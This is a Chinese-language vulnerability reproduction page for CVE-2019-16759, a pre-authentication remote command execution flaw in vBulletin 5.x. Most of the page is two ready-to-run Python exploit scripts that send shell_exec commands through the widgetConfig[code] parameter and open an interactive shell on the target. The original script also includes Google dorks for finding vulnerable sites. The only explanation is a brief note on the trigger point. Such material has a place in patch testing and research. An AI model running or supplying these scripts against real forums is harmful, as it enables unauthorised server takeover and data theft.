（CVE-2019-16759）vBulletin_5.x_远程命令执行漏洞

# （CVE-2019-16759）vBulletin 5.x 远程命令执行漏洞

=================

一、漏洞简介
————

二、漏洞影响
————

影响版本：vBulletin 5.0.0\~5.5.4

三、复现过程
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poc如下:

#!/usr/bin/python

#

# vBulletin 5.x 0day pre-auth RCE exploit

#

# This should work on all versions from 5.0.0 till 5.5.4

#

# Google Dorks:

# – site:*.vbulletin.net

# – “Powered by vBulletin Version 5.5.4”

import requests

import sys

if len(sys.argv) != 2:

sys.exit(“Usage: %s ” % sys.argv[0])

params = {“routestring”:”ajax/render/widget_php”}

while True:

try:

cmd = raw_input(“vBulletin$ “)

params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+”‘); exit;”

r = requests.post(url = sys.argv[1], data = params)

if r.status_code == 200:

print r.text

else:

sys.exit(“Exploit failed! :(“)

except KeyboardInterrupt:

sys.exit(” Closing shell…”)

except Exception, e:

sys.exit(str(e))

将poc代码修改为python3使用的代码，并添加代理使用burpsuite抓包。修改的poc代码如下：

# -*-coding:utf-8 -*-

import requests
import sys

if len(sys.argv) != 2:
sys.exit(“Usage: %s ” % sys.argv[0])

proxies ={
“http”:”http://127.0.0.1:8080/”
}
params = {“routestring”:”ajax/render/widget_php”}

while True:
try:
cmd = input(“>>>Shell= “)
params[“widgetConfig[code]”] = “echo shell_exec(‘”+cmd+”‘); exit;”
r = requests.post(url = sys.argv[1], data = params, proxies=proxies)
if r.status_code == 200:
print(r.text)

else:
sys.exit(“Exploit failed! :(“)
except KeyboardInterrupt:
sys.exit(“\nClosing shell…”)
except Exception as e:
sys.exit(str(e))

远程代码执行漏洞的触发点是未经过验证的用户通过向index.php发送routestring参数，当routesting参数是ajax/render/widget\_php，通过widgetConfig\[code\]执行远程代码，格式为echo
shell\_exec(\’\”+cmd+\”\’); exit;

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